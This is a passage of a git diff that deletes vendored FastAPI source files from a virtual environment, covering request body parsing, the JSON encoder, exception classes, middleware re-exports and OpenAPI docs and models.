the same one, so count them by name - body_param_names_set = {field.name for field in fields} - # A top level field has to be a single field, not multiple - if len(body_param_names_set) > 1: - return True - first_field = fields[0] - # If it explicitly specifies it is embedded, it has to be embedded - if getattr(first_field.field_info, "embed", None): - return True - # If it's a Form (or File) field, it has to be a BaseModel (or a union of BaseModels) to be top level - # otherwise it has to be embedded, so that the key value pair can be extracted - if ( - isinstance(first_field.field_info, params.Form) - and not lenient_issubclass(first_field.field_info.annotation, BaseModel) - and not is_union_of_base_models(first_field.field_info.annotation) - ): - return True - return False - - -async def _extract_form_body( - body_fields: list[ModelField], - received_body: FormData, -) -> dict[str, Any]: - values = {} - - for field in body_fields: - value = _get_multidict_value(field, received_body) - field_info = field.field_info - if ( - isinstance(field_info, params.File) - and is_bytes_or_nonable_bytes_annotation(field.field_info.annotation) - and isinstance(value, UploadFile) - ): - value = await value.read() - elif ( - is_bytes_sequence_annotation(field.field_info.annotation) - and isinstance(field_info, params.File) - and value_is_sequence(value) - ): - # For types - assert isinstance(value, sequence_types) - results: list[bytes | str] = [] - for sub_value in value: - results.append(await sub_value.read()) - value = serialize_sequence_value(field=field, value=results) - if value is not None: - values[get_validation_alias(field)] = value - field_aliases = {get_validation_alias(field) for field in body_fields} - for key in received_body.keys(): - if key not in field_aliases: - param_values = received_body.getlist(key) - if len(param_values) == 1: - values[key] = param_values[0] - else: - values[key] = param_values - return values - - -async def request_body_to_args( - body_fields: list[ModelField], - received_body: dict[str, Any] | FormData | bytes | None, - embed_body_fields: bool, -) -> tuple[dict[str, Any], list[dict[str, Any]]]: - values: dict[str, Any] = {} - errors: list[dict[str, Any]] = [] - assert body_fields, "request_body_to_args() should be called with fields" - single_not_embedded_field = len(body_fields) == 1 and not embed_body_fields - first_field = body_fields[0] - body_to_process = received_body - - fields_to_extract: list[ModelField] = body_fields - - if ( - single_not_embedded_field - and lenient_issubclass(first_field.field_info.annotation, BaseModel) - and isinstance(received_body, FormData) - ): - fields_to_extract = get_cached_model_fields(first_field.field_info.annotation) - - if isinstance(received_body, FormData): - body_to_process = await _extract_form_body(fields_to_extract, received_body) - - if single_not_embedded_field: - loc: tuple[str, ...] = ("body",) - v_, errors_ = _validate_value_with_model_field( - field=first_field, value=body_to_process, values=values, loc=loc - ) - return {first_field.name: v_}, errors_ - for field in body_fields: - loc = ("body", get_validation_alias(field)) - value: Any | None = None - if body_to_process is not None and not isinstance(body_to_process, bytes): - try: - value = body_to_process.get(get_validation_alias(field)) - # If the received body is a list, not a dict - except AttributeError: - errors.append(get_missing_field_error(loc)) - continue - v_, errors_ = _validate_value_with_model_field( - field=field, value=value, values=values, loc=loc - ) - if errors_: - errors.extend(errors_) - else: - values[field.name] = v_ - return values, errors - - -def _get_body_field( - *, body_params: list[ModelField], name: str, embed_body_fields: bool -) -> ModelField | None: - """ - Get a ModelField representing the request body for a path operation, combining - all body parameters into a single field if necessary. - - Used to check if it's form data (with `isinstance(body_field, params.Form)`) - or JSON and to generate the JSON Schema for a request body. - - This is **not** used to validate/parse the request body, that's done with each - individual body parameter. - """ - if not body_params: - return None - first_param = body_params[0] - if not embed_body_fields: - return first_param - model_name = "Body_" + name - BodyModel = create_body_model(fields=body_params, model_name=model_name) - required = any(True for f in body_params if f.field_info.is_required()) - BodyFieldInfo_kwargs: dict[str, Any] = { - "annotation": BodyModel, - "alias": "body", - } - if not required: - BodyFieldInfo_kwargs["default"] = None - if any(isinstance(f.field_info, params.File) for f in body_params): - BodyFieldInfo: type[params.Body] = params.File - elif any(isinstance(f.field_info, params.Form) for f in body_params): - BodyFieldInfo = params.Form - else: - BodyFieldInfo = params.Body - - body_param_media_types = [ - f.field_info.media_type - for f in body_params - if isinstance(f.field_info, params.Body) - ] - if len(set(body_param_media_types)) == 1: - BodyFieldInfo_kwargs["media_type"] = body_param_media_types[0] - final_field = create_model_field( - name="body", - type_=BodyModel, - alias="body", - field_info=BodyFieldInfo(**BodyFieldInfo_kwargs), - ) - return final_field - - -def get_validation_alias(field: ModelField) -> str: - va = getattr(field, "validation_alias", None) - return va or field.alias diff --git a/venv/Lib/site-packages/fastapi/encoders.py b/venv/Lib/site-packages/fastapi/encoders.py deleted file mode 100644 index e578768dac5b33556087b42bd6a2e0782a9d5379..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/encoders.py +++ /dev/null @@ -1,366 +0,0 @@ -import dataclasses -import datetime -from collections import defaultdict, deque -from collections.abc import Callable -from decimal import Decimal -from enum import Enum -from ipaddress import ( - IPv4Address, - IPv4Interface, - IPv4Network, - IPv6Address, - IPv6Interface, - IPv6Network, -) -from pathlib import Path, PurePath -from re import Pattern -from types import GeneratorType -from typing import Annotated, Any -from uuid import UUID - -from annotated_doc import Doc -from fastapi.exceptions import PydanticV1NotSupportedError -from fastapi.types import IncEx -from pydantic import BaseModel -from pydantic.networks import AnyUrl, NameEmail -from pydantic.types import SecretBytes, SecretStr -from pydantic_core import PydanticUndefinedType - -from ._compat import ( - Url, - is_pydantic_v1_model_instance, -) - -try: - # pydantic.color.Color is deprecated since v2.0b3, but supporting for bwd-compat - from pydantic.color import Color # ty: ignore[deprecated] -except ImportError: # pragma: no cover - - class Color: # type: ignore[no-redef] - pass - - -try: - # Supporting the new Color format for newer versions of Pydantic - from pydantic_extra_types.color import Color as PyExtraColor -except ImportError: # pragma: no cover - - class PyExtraColor: # type: ignore[no-redef] - pass - - -# Taken from Pydantic v1 as is -def isoformat(o: datetime.date | datetime.time) -> str: - return o.isoformat() - - -# Adapted from Pydantic v1 -# TODO: pv2 should this return strings instead? -def decimal_encoder(dec_value: Decimal) -> int | float: - """ - Encodes a Decimal as int if there's no exponent, otherwise float - - This is useful when we use ConstrainedDecimal to represent Numeric(x,0) - where an integer (but not int typed) is used. Encoding this as a float - results in failed round-tripping between encode and parse. - Our Id type is a prime example of this. - - >>> decimal_encoder(Decimal("1.0")) - 1.0 - - >>> decimal_encoder(Decimal("1")) - 1 - - >>> decimal_encoder(Decimal("NaN")) - nan - """ - exponent = dec_value.as_tuple().exponent - if isinstance(exponent, int) and exponent >= 0: - return int(dec_value) - else: - return float(dec_value) - - -ENCODERS_BY_TYPE: dict[type[Any], Callable[[Any], Any]] = { - bytes: lambda o: o.decode(), - Color: str, - PyExtraColor: str, - datetime.date: isoformat, - datetime.datetime: isoformat, - datetime.time: isoformat, - datetime.timedelta: lambda td: td.total_seconds(), - Decimal: decimal_encoder, - Enum: lambda o: o.value, - frozenset: list, - deque: list, - GeneratorType: list, - IPv4Address: str, - IPv4Interface: str, - IPv4Network: str, - IPv6Address: str, - IPv6Interface: str, - IPv6Network: str, - NameEmail: str, - Path: str, - Pattern: lambda o: o.pattern, - SecretBytes: str, - SecretStr: str, - set: list, - UUID: str, - Url: str, - AnyUrl: str, -} - - -def generate_encoders_by_class_tuples( - type_encoder_map: dict[Any, Callable[[Any], Any]], -) -> dict[Callable[[Any], Any], tuple[Any, ...]]: - encoders_by_class_tuples: dict[Callable[[Any], Any], tuple[Any, ...]] = defaultdict( - tuple - ) - for type_, encoder in type_encoder_map.items(): - encoders_by_class_tuples[encoder] += (type_,) - return encoders_by_class_tuples - - -encoders_by_class_tuples = generate_encoders_by_class_tuples(ENCODERS_BY_TYPE) - - -def jsonable_encoder( - obj: Annotated[ - Any, - Doc( - """ - The input object to convert to JSON. - """ - ), - ], - include: Annotated[ - IncEx | None, - Doc( - """ - Pydantic's `include` parameter, passed to Pydantic models to set the - fields to include. - """ - ), - ] = None, - exclude: Annotated[ - IncEx | None, - Doc( - """ - Pydantic's `exclude` parameter, passed to Pydantic models to set the - fields to exclude. - """ - ), - ] = None, - by_alias: Annotated[ - bool, - Doc( - """ - Pydantic's `by_alias` parameter, passed to Pydantic models to define if - the output should use the alias names (when provided) or the Python - attribute names. In an API, if you set an alias, it's probably because you - want to use it in the result, so you probably want to leave this set to - `True`. - """ - ), - ] = True, - exclude_unset: Annotated[ - bool, - Doc( - """ - Pydantic's `exclude_unset` parameter, passed to Pydantic models to define - if it should exclude from the output the fields that were not explicitly - set (and that only had their default values). - """ - ), - ] = False, - exclude_defaults: Annotated[ - bool, - Doc( - """ - Pydantic's `exclude_defaults` parameter, passed to Pydantic models to define - if it should exclude from the output the fields that had the same default - value, even when they were explicitly set. - """ - ), - ] = False, - exclude_none: Annotated[ - bool, - Doc( - """ - Pydantic's `exclude_none` parameter, passed to Pydantic models to define - if it should exclude from the output any fields that have a `None` value. - """ - ), - ] = False, - custom_encoder: Annotated[ - dict[Any, Callable[[Any], Any]] | None, - Doc( - """ - Pydantic's `custom_encoder` parameter, passed to Pydantic models to define - a custom encoder. - """ - ), - ] = None, - sqlalchemy_safe: Annotated[ - bool, - Doc( - """ - Exclude from the output any fields that start with the name `_sa`. - - This is mainly a hack for compatibility with SQLAlchemy objects, they - store internal SQLAlchemy-specific state in attributes named with `_sa`, - and those objects can't (and shouldn't be) serialized to JSON. - """ - ), - ] = True, -) -> Any: - """ - Convert any object to something that can be encoded in JSON. - - This is used internally by FastAPI to make sure anything you return can be - encoded as JSON before it is sent to the client. - - You can also use it yourself, for example to convert objects before saving them - in a database that supports only JSON. - - Read more about it in the - [FastAPI docs for JSON Compatible Encoder](https://fastapi.tiangolo.com/tutorial/encoder/). - """ - custom_encoder = custom_encoder or {} - if custom_encoder: - if type(obj) in custom_encoder: - return custom_encoder[type(obj)](obj) - else: - for encoder_type, encoder_instance in custom_encoder.items(): - if isinstance(obj, encoder_type): - return encoder_instance(obj) - if include is not None and not isinstance(include, (set, dict)): - include = set(include) # type: ignore[assignment] # ty: ignore[invalid-assignment] - if exclude is not None and not isinstance(exclude, (set, dict)): - exclude = set(exclude) # type: ignore[assignment] # ty: ignore[invalid-assignment] - if isinstance(obj, BaseModel): - obj_dict = obj.model_dump( - mode="json", - include=include, - exclude=exclude, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_none=exclude_none, - exclude_defaults=exclude_defaults, - ) - return jsonable_encoder( - obj_dict, - exclude_none=exclude_none, - exclude_defaults=exclude_defaults, - sqlalchemy_safe=sqlalchemy_safe, - ) - if dataclasses.is_dataclass(obj): - assert not isinstance(obj, type) - obj_dict = dataclasses.asdict(obj) - return jsonable_encoder( - obj_dict, - include=include, - exclude=exclude, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - custom_encoder=custom_encoder, - sqlalchemy_safe=sqlalchemy_safe, - ) - if isinstance(obj, Enum): - return obj.value - if isinstance(obj, PurePath): - return str(obj) - if isinstance(obj, (str, int, float, type(None))): - return obj - if isinstance(obj, PydanticUndefinedType): - return None - if isinstance(obj, dict): - encoded_dict = {} - allowed_keys = set(obj.keys()) - if include is not None: - allowed_keys &= set(include) - if exclude is not None: - allowed_keys -= set(exclude) - for key, value in obj.items(): - if ( - ( - not sqlalchemy_safe - or (not isinstance(key, str)) - or (not key.startswith("_sa")) - ) - and (value is not None or not exclude_none) - and key in allowed_keys - ): - encoded_key = jsonable_encoder( - key, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - custom_encoder=custom_encoder, - sqlalchemy_safe=sqlalchemy_safe, - ) - encoded_value = jsonable_encoder( - value, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - custom_encoder=custom_encoder, - sqlalchemy_safe=sqlalchemy_safe, - ) - encoded_dict[encoded_key] = encoded_value - return encoded_dict - if isinstance(obj, (list, set, frozenset, GeneratorType, tuple, deque)): - encoded_list = [] - for item in obj: - encoded_list.append( - jsonable_encoder( - item, - include=include, - exclude=exclude, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - custom_encoder=custom_encoder, - sqlalchemy_safe=sqlalchemy_safe, - ) - ) - return encoded_list - - if type(obj) in ENCODERS_BY_TYPE: - return ENCODERS_BY_TYPE[type(obj)](obj) - for encoder, classes_tuple in encoders_by_class_tuples.items(): - if isinstance(obj, classes_tuple): - return encoder(obj) - if is_pydantic_v1_model_instance(obj): - raise PydanticV1NotSupportedError( - "pydantic.v1 models are no longer supported by FastAPI." - f" Please update the model {obj!r}." - ) - try: - data = dict(obj) - except Exception as e: - errors: list[Exception] = [] - errors.append(e) - try: - data = vars(obj) - except Exception as e: - errors.append(e) - raise ValueError(errors) from e - return jsonable_encoder( - data, - include=include, - exclude=exclude, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - custom_encoder=custom_encoder, - sqlalchemy_safe=sqlalchemy_safe, - ) diff --git a/venv/Lib/site-packages/fastapi/exception_handlers.py b/venv/Lib/site-packages/fastapi/exception_handlers.py deleted file mode 100644 index 475dd7bdd9891a7595b6df5db97cd3840179c8fa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/exception_handlers.py +++ /dev/null @@ -1,34 +0,0 @@ -from fastapi.encoders import jsonable_encoder -from fastapi.exceptions import RequestValidationError, WebSocketRequestValidationError -from fastapi.utils import is_body_allowed_for_status_code -from fastapi.websockets import WebSocket -from starlette.exceptions import HTTPException -from starlette.requests import Request -from starlette.responses import JSONResponse, Response -from starlette.status import WS_1008_POLICY_VIOLATION - - -async def http_exception_handler(request: Request, exc: HTTPException) -> Response: - headers = getattr(exc, "headers", None) - if not is_body_allowed_for_status_code(exc.status_code): - return Response(status_code=exc.status_code, headers=headers) - return JSONResponse( - {"detail": exc.detail}, status_code=exc.status_code, headers=headers - ) - - -async def request_validation_exception_handler( - request: Request, exc: RequestValidationError -) -> JSONResponse: - return JSONResponse( - status_code=422, - content={"detail": jsonable_encoder(exc.errors())}, - ) - - -async def websocket_request_validation_exception_handler( - websocket: WebSocket, exc: WebSocketRequestValidationError -) -> None: - await websocket.close( - code=WS_1008_POLICY_VIOLATION, reason=jsonable_encoder(exc.errors()) - ) diff --git a/venv/Lib/site-packages/fastapi/exceptions.py b/venv/Lib/site-packages/fastapi/exceptions.py deleted file mode 100644 index d7065c52fe20220e12b7d20db4da7cbeadaf171a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/exceptions.py +++ /dev/null @@ -1,256 +0,0 @@ -from collections.abc import Mapping, Sequence -from typing import Annotated, Any, TypedDict - -from annotated_doc import Doc -from pydantic import BaseModel, create_model -from starlette.exceptions import HTTPException as StarletteHTTPException -from starlette.exceptions import WebSocketException as StarletteWebSocketException - - -class EndpointContext(TypedDict, total=False): - function: str - path: str - file: str - line: int - - -class HTTPException(StarletteHTTPException): - """ - An HTTP exception you can raise in your own code to show errors to the client. - - This is for client errors, invalid authentication, invalid data, etc. Not for server - errors in your code. - - Read more about it in the - [FastAPI docs for Handling Errors](https://fastapi.tiangolo.com/tutorial/handling-errors/). - - ## Example - - ```python - from fastapi import FastAPI, HTTPException - - app = FastAPI() - - items = {"foo": "The Foo Wrestlers"} - - - @app.get("/items/{item_id}") - async def read_item(item_id: str): - if item_id not in items: - raise HTTPException(status_code=404, detail="Item not found") - return {"item": items[item_id]} - ``` - """ - - def __init__( - self, - status_code: Annotated[ - int, - Doc( - """ - HTTP status code to send to the client. - - Read more about it in the - [FastAPI docs for Handling Errors](https://fastapi.tiangolo.com/tutorial/handling-errors/#use-httpexception) - """ - ), - ], - detail: Annotated[ - Any, - Doc( - """ - Any data to be sent to the client in the `detail` key of the JSON - response. - - Read more about it in the - [FastAPI docs for Handling Errors](https://fastapi.tiangolo.com/tutorial/handling-errors/#use-httpexception) - """ - ), - ] = None, - headers: Annotated[ - Mapping[str, str] | None, - Doc( - """ - Any headers to send to the client in the response. - - Read more about it in the - [FastAPI docs for Handling Errors](https://fastapi.tiangolo.com/tutorial/handling-errors/#add-custom-headers) - - """ - ), - ] = None, - ) -> None: - super().__init__(status_code=status_code, detail=detail, headers=headers) - - -class WebSocketException(StarletteWebSocketException): - """ - A WebSocket exception you can raise in your own code to show errors to the client. - - This is for client errors, invalid authentication, invalid data, etc. Not for server - errors in your code. - - Read more about it in the - [FastAPI docs for WebSockets](https://fastapi.tiangolo.com/advanced/websockets/). - - ## Example - - ```python - from typing import Annotated - - from fastapi import ( - Cookie, - FastAPI, - WebSocket, - WebSocketException, - status, - ) - - app = FastAPI() - - @app.websocket("/items/{item_id}/ws") - async def websocket_endpoint( - *, - websocket: WebSocket, - session: Annotated[str | None, Cookie()] = None, - item_id: str, - ): - if session is None: - raise WebSocketException(code=status.WS_1008_POLICY_VIOLATION) - await websocket.accept() - while True: - data = await websocket.receive_text() - await websocket.send_text(f"Session cookie is: {session}") - await websocket.send_text(f"Message text was: {data}, for item ID: {item_id}") - ``` - """ - - def __init__( - self, - code: Annotated[ - int, - Doc( - """ - A closing code from the - [valid codes defined in the specification](https://datatracker.ietf.org/doc/html/rfc6455#section-7.4.1). - """ - ), - ], - reason: Annotated[ - str | None, - Doc( - """ - The reason to close the WebSocket connection. - - It is UTF-8-encoded data. The interpretation of the reason is up to the - application, it is not specified by the WebSocket specification. - - It could contain text that could be human-readable or interpretable - by the client code, etc. - """ - ), - ] = None, - ) -> None: - super().__init__(code=code, reason=reason) - - -RequestErrorModel: type[BaseModel] = create_model("Request") -WebSocketErrorModel: type[BaseModel] = create_model("WebSocket") - - -class FastAPIError(RuntimeError): - """ - A generic, FastAPI-specific error. - """ - - -class DependencyScopeError(FastAPIError): - """ - A dependency declared that it depends on another dependency with an invalid - (narrower) scope. - """ - - -class ValidationException(Exception): - def __init__( - self, - errors: Sequence[Any], - *, - endpoint_ctx: EndpointContext | None = None, - ) -> None: - self._errors = errors - self.endpoint_ctx = endpoint_ctx - - ctx = endpoint_ctx or {} - self.endpoint_function = ctx.get("function") - self.endpoint_path = ctx.get("path") - self.endpoint_file = ctx.get("file") - self.endpoint_line = ctx.get("line") - - def errors(self) -> Sequence[Any]: - return self._errors - - def _format_endpoint_context(self) -> str: - if not (self.endpoint_file and self.endpoint_line and self.endpoint_function): - if self.endpoint_path: - return f"\n Endpoint: {self.endpoint_path}" - return "" - - context = f'\n File "{self.endpoint_file}", line {self.endpoint_line}, in {self.endpoint_function}' - if self.endpoint_path: - context += f"\n {self.endpoint_path}" - return context - - def __str__(self) -> str: - message = f"{len(self._errors)} validation error{'s' if len(self._errors) != 1 else ''}:\n" - for err in self._errors: - message += f" {err}\n" - message += self._format_endpoint_context() - return message.rstrip() - - -class RequestValidationError(ValidationException): - def __init__( - self, - errors: Sequence[Any], - *, - body: Any = None, - endpoint_ctx: EndpointContext | None = None, - ) -> None: - super().__init__(errors, endpoint_ctx=endpoint_ctx) - self.body = body - - -class WebSocketRequestValidationError(ValidationException): - def __init__( - self, - errors: Sequence[Any], - *, - endpoint_ctx: EndpointContext | None = None, - ) -> None: - super().__init__(errors, endpoint_ctx=endpoint_ctx) - - -class ResponseValidationError(ValidationException): - def __init__( - self, - errors: Sequence[Any], - *, - body: Any = None, - endpoint_ctx: EndpointContext | None = None, - ) -> None: - super().__init__(errors, endpoint_ctx=endpoint_ctx) - self.body = body - - -class PydanticV1NotSupportedError(FastAPIError): - """ - A pydantic.v1 model is used, which is no longer supported. - """ - - -class FastAPIDeprecationWarning(UserWarning): - """ - A custom deprecation warning as DeprecationWarning is ignored - Ref: https://sethmlarson.dev/deprecations-via-warnings-dont-work-for-python-libraries - """ diff --git a/venv/Lib/site-packages/fastapi/logger.py b/venv/Lib/site-packages/fastapi/logger.py deleted file mode 100644 index 5b2c4ad5250b589aa0c8f8d1cc9125b91b10edb0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/logger.py +++ /dev/null @@ -1,3 +0,0 @@ -import logging - -logger = logging.getLogger("fastapi") diff --git a/venv/Lib/site-packages/fastapi/middleware/__init__.py b/venv/Lib/site-packages/fastapi/middleware/__init__.py deleted file mode 100644 index 620296d5ad6ca2cc49eb5d0dc140bcbc3204e9b4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/middleware/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from starlette.middleware import Middleware as Middleware diff --git a/venv/Lib/site-packages/fastapi/middleware/asyncexitstack.py b/venv/Lib/site-packages/fastapi/middleware/asyncexitstack.py deleted file mode 100644 index 4ce3f5a625548a00514f872d1653194bd3669a73..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/middleware/asyncexitstack.py +++ /dev/null @@ -1,18 +0,0 @@ -from contextlib import AsyncExitStack - -from starlette.types import ASGIApp, Receive, Scope, Send - - -# Used mainly to close files after the request is done, dependencies are closed -# in their own AsyncExitStack -class AsyncExitStackMiddleware: - def __init__( - self, app: ASGIApp, context_name: str = "fastapi_middleware_astack" - ) -> None: - self.app = app - self.context_name = context_name - - async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None: - async with AsyncExitStack() as stack: - scope[self.context_name] = stack - await self.app(scope, receive, send) diff --git a/venv/Lib/site-packages/fastapi/middleware/cors.py b/venv/Lib/site-packages/fastapi/middleware/cors.py deleted file mode 100644 index 8dfaad0dbb3ff5300cccb2023748cd30f54bc920..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/middleware/cors.py +++ /dev/null @@ -1 +0,0 @@ -from starlette.middleware.cors import CORSMiddleware as CORSMiddleware # noqa diff --git a/venv/Lib/site-packages/fastapi/middleware/gzip.py b/venv/Lib/site-packages/fastapi/middleware/gzip.py deleted file mode 100644 index bbeb2cc7861a735d6cd5c0e29aeb6dbf8457023a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/middleware/gzip.py +++ /dev/null @@ -1 +0,0 @@ -from starlette.middleware.gzip import GZipMiddleware as GZipMiddleware # noqa diff --git a/venv/Lib/site-packages/fastapi/middleware/httpsredirect.py b/venv/Lib/site-packages/fastapi/middleware/httpsredirect.py deleted file mode 100644 index b7a3d8e078574e87dc6e345d621f5a596c3bdc1e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/middleware/httpsredirect.py +++ /dev/null @@ -1,3 +0,0 @@ -from starlette.middleware.httpsredirect import ( # noqa - HTTPSRedirectMiddleware as HTTPSRedirectMiddleware, -) diff --git a/venv/Lib/site-packages/fastapi/middleware/trustedhost.py b/venv/Lib/site-packages/fastapi/middleware/trustedhost.py deleted file mode 100644 index 08d7e035315677856fd2cd0be2044689b57619bf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/middleware/trustedhost.py +++ /dev/null @@ -1,3 +0,0 @@ -from starlette.middleware.trustedhost import ( # noqa - TrustedHostMiddleware as TrustedHostMiddleware, -) diff --git a/venv/Lib/site-packages/fastapi/middleware/wsgi.py b/venv/Lib/site-packages/fastapi/middleware/wsgi.py deleted file mode 100644 index 69e4dcab96370cac0ab93039a1eb9376d1659120..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/middleware/wsgi.py +++ /dev/null @@ -1,3 +0,0 @@ -from starlette.middleware.wsgi import ( - WSGIMiddleware as WSGIMiddleware, -) # pragma: no cover # noqa diff --git a/venv/Lib/site-packages/fastapi/openapi/__init__.py b/venv/Lib/site-packages/fastapi/openapi/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/fastapi/openapi/constants.py b/venv/Lib/site-packages/fastapi/openapi/constants.py deleted file mode 100644 index d724ee3cfdbcda1c39f39511046c7a884186ca98..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/openapi/constants.py +++ /dev/null @@ -1,3 +0,0 @@ -METHODS_WITH_BODY = {"GET", "HEAD", "POST", "PUT", "DELETE", "PATCH"} -REF_PREFIX = "#/components/schemas/" -REF_TEMPLATE = "#/components/schemas/{model}" diff --git a/venv/Lib/site-packages/fastapi/openapi/docs.py b/venv/Lib/site-packages/fastapi/openapi/docs.py deleted file mode 100644 index 0d9242f9fa6a5212114b8f4036adfaf0e518020f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/openapi/docs.py +++ /dev/null @@ -1,389 +0,0 @@ -import json -from typing import Annotated, Any - -from annotated_doc import Doc -from fastapi.encoders import jsonable_encoder -from starlette.responses import HTMLResponse - - -def _html_safe_json(value: Any) -> str: - """Serialize a value to JSON with HTML special characters escaped. - - This prevents injection when the JSON is embedded inside a - - - - - """ - return HTMLResponse(html) - - -def get_redoc_html( - *, - openapi_url: Annotated[ - str, - Doc( - """ - The OpenAPI URL that ReDoc should load and use. - - This is normally done automatically by FastAPI using the default URL - `/openapi.json`. - - Read more about it in the - [FastAPI docs for Conditional OpenAPI](https://fastapi.tiangolo.com/how-to/conditional-openapi/#conditional-openapi-from-settings-and-env-vars) - """ - ), - ], - title: Annotated[ - str, - Doc( - """ - The HTML `` content, normally shown in the browser tab. - - Read more about it in the - [FastAPI docs for Custom Docs UI Static Assets](https://fastapi.tiangolo.com/how-to/custom-docs-ui-assets/) - """ - ), - ], - redoc_js_url: Annotated[ - str, - Doc( - """ - The URL to use to load the ReDoc JavaScript. - - It is normally set to a CDN URL. - - Read more about it in the - [FastAPI docs for Custom Docs UI Static Assets](https://fastapi.tiangolo.com/how-to/custom-docs-ui-assets/) - """ - ), - ] = "https://cdn.jsdelivr.net/npm/redoc@2/bundles/redoc.standalone.js", - redoc_favicon_url: Annotated[ - str, - Doc( - """ - The URL of the favicon to use. It is normally shown in the browser tab. - """ - ), - ] = "https://fastapi.tiangolo.com/img/favicon.png", - with_google_fonts: Annotated[ - bool, - Doc( - """ - Load and use Google Fonts. - """ - ), - ] = True, -) -> HTMLResponse: - """ - Generate and return the HTML response that loads ReDoc for the alternative - API docs (normally served at `/redoc`). - - You would only call this function yourself if you needed to override some parts, - for example the URLs to use to load ReDoc's JavaScript and CSS. - - Read more about it in the - [FastAPI docs for Custom Docs UI Static Assets (Self-Hosting)](https://fastapi.tiangolo.com/how-to/custom-docs-ui-assets/). - """ - html = f""" - <!DOCTYPE html> - <html> - <head> - <title>{title} - - - - """ - if with_google_fonts: - html += """ - - """ - html += f""" - - - - - - - - - - - """ - return HTMLResponse(html) - - -def get_swagger_ui_oauth2_redirect_html() -> HTMLResponse: - """ - Generate the HTML response with the OAuth2 redirection for Swagger UI. - - You normally don't need to use or change this. - """ - # copied from https://github.com/swagger-api/swagger-ui/blob/v4.14.0/dist/oauth2-redirect.html - html = """ - - - - Swagger UI: OAuth2 Redirect - - - - - - """ - return HTMLResponse(content=html) diff --git a/venv/Lib/site-packages/fastapi/openapi/models.py b/venv/Lib/site-packages/fastapi/openapi/models.py deleted file mode 100644 index ca26bf931e196fa9c5ef367838c98bdff730b230..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/openapi/models.py +++ /dev/null @@ -1,435 +0,0 @@ -from collections.abc import Callable, Iterable, Mapping -from enum import Enum -from typing import Annotated, Any, Literal, Optional, Union - -from fastapi._compat import with_info_plain_validator_function -from fastapi.logger import logger -from pydantic import ( - AnyUrl, - BaseModel, - Field, - GetJsonSchemaHandler, -) -from typing_extensions import TypedDict -from typing_extensions import deprecated as typing_deprecated - -try: - import email_validator - - assert email_validator # make autoflake ignore the unused import - from pydantic import EmailStr -except ImportError: # pragma: no cover - - class EmailStr(str): # type: ignore[no-redef] - @classmethod - def __get_validators__(cls) -> Iterable[Callable[..., Any]]: - yield cls.validate - - @classmethod - def validate(cls, v: Any) -> str: - logger.warning( - "email-validator not installed, email fields will be treated as str.\n" - "To install, run: pip install email-validator" - ) - return str(v) - - @classmethod - def _validate(cls, __input_value: Any, _: Any) -> str: - logger.warning( - "email-validator not installed, email fields will be treated as str.\n" - "To install, run: pip install email-validator" - ) - return str(__input_value) - - @classmethod - def __get_pydantic_json_schema__( - cls, core_schema: Mapping[str, Any], handler: GetJsonSchemaHandler - ) -> dict[str, Any]: - return {"type": "string", "format": "email"} - - @classmethod - def __get_pydantic_core_schema__( - cls, source: type[Any], handler: Callable[[Any], Mapping[str, Any]] - ) -> Mapping[str, Any]: - return with_info_plain_validator_function(cls._validate) - - -class BaseModelWithConfig(BaseModel): - model_config = {"extra": "allow"} - - -class Contact(BaseModelWithConfig): - name: str | None = None - url: AnyUrl | None = None - email: EmailStr | None = None - - -class License(BaseModelWithConfig): - name: str - identifier: str | None = None - url: AnyUrl | None = None - - -class Info(BaseModelWithConfig): - title: str - summary: str | None = None - description: str | None = None - termsOfService: str | None = None - contact: Contact | None = None - license: License | None = None - version: str - - -class ServerVariable(BaseModelWithConfig): - enum: Annotated[list[str] | None, Field(min_length=1)] = None - default: str - description: str | None = None - - -class Server(BaseModelWithConfig): - url: AnyUrl | str - description: str | None = None - variables: dict[str, ServerVariable] | None = None - - -class Reference(BaseModel): - ref: str = Field(alias="$ref") - - -class Discriminator(BaseModel): - propertyName: str - mapping: dict[str, str] | None = None - - -class XML(BaseModelWithConfig): - name: str | None = None - namespace: str | None = None - prefix: str | None = None - attribute: bool | None = None - wrapped: bool | None = None - - -class ExternalDocumentation(BaseModelWithConfig): - description: str | None = None - url: AnyUrl - - -# Ref JSON Schema 2020-12: https://json-schema.org/draft/2020-12/json-schema-validation#name-type -SchemaType = Literal[ - "array", "boolean", "integer", "null", "number", "object", "string" -] - - -class Schema(BaseModelWithConfig): - # Ref: JSON Schema 2020-12: https://json-schema.org/draft/2020-12/json-schema-core.html#name-the-json-schema-core-vocabu - # Core Vocabulary - schema_: str | None = Field(default=None, alias="$schema") - vocabulary: str | None = Field(default=None, alias="$vocabulary") - id: str | None = Field(default=None, alias="$id") - anchor: str | None = Field(default=None, alias="$anchor") - dynamicAnchor: str | None = Field(default=None, alias="$dynamicAnchor") - ref: str | None = Field(default=None, alias="$ref") - dynamicRef: str | None = 